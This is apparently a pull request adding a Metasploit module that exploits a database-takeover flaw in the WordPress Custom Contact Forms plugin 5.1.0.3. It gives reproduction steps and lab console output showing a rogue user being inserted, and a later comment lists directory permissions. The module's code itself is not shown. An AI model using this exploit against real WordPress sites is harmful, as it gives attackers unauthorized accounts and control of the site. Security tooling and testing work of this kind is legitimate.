Added WordPress custom_contact_forms module

This module exploits a vulnerability in the custom contact forms plugin:
http://blog.sucuri.net/2014/08/database-takeover-in-custom-contact-forms.html

### to reproduce
 - [ ] Install Wordpress https://www.firefart.at/how-to-install-wordpress/
 - [ ] Install plugin version 5.1.0.3: https://downloads.wordpress.org/plugin/custom-contact-forms.5.1.0.3.zip
 - [ ] Run the module

### output
```
msf auxiliary(wp_custom_contact_forms) > run

[*] 10.211.55.39:80 - Trying to get table_prefix
[*] 10.211.55.39:80 - got table_prefix 'wp_'
[*] 10.211.55.39:80 - Inserting user QMzJvEVeAa with password GDTlcbNxbGezYbGvmVCv
[*] 10.211.55.39:80 - User QMzJvEVeAa with password GDTlcbNxbGezYbGvmVCv successfully created
[*] Auxiliary module execution completed
```
@wchen-r7 
```
Note: If you are having problems getting the importer/exporter to work, try CHMODing the import/ and export/ directories to 0777.
```

What's the permission on your import and export folder?

Mine are:
```
firefart@wordpress:~$ ls -alh /var/www/wordpress/wp-content/plugins/custom-contact-forms/
total 284K
drwxr-xr-x 9 www-data www-data 4.0K Sep 29 21:34 .
drwxr-xr-x 3 www-data www-data 4.0K Sep 29 21:34 ..
drwxr-xr-x 2 www-data www-data 4.0K Sep 29 21:34 css
-rw-r--r-- 1 www-data www-data 151K Sep 29 21:34 custom-contact-forms-admin.php
-rw-r--r-- 1 www-data www-data  43K Sep 29 21:34 custom-contact-forms-front.php
-rw-r--r-- 1 www-data www-data 8.3K Sep 29 21:34 custom-contact-forms.php
-rw-r--r-- 1 www-data www-data 4.0K Sep 29 21:34 custom-contact-forms-utils.php
-rw-r--r-- 1 www-data www-data  782 Sep 29 21:34 download.php
drwxr-xr-x 2 www-data www-data 4.0K Sep 29 21:36 export
-rw-r--r-- 1 www-data www-data  632 Sep 29 21:34 image.php
drwxr-xr-x 2 www-data www-data 4.0K Sep 29 21:34 images
drwxr-xr-x 2 www-data www-data 4.0K Sep 29 21:36 import
drwxr-xr-x 2 www-data www-data 4.0K Sep 29 21:34 js
drwxr-xr-x 2 www-data www-data 4.0K Sep 29 21:34 lang
drwxr-xr-x 9 www-data www-data 4.0K Sep 29 21:34 modules
-rw-r--r-- 1 www-data www-data   85 Sep 29 21:34 README.md
-rw-r--r-- 1 www-data www-data  24K Sep 29 21:34 readme.txt
```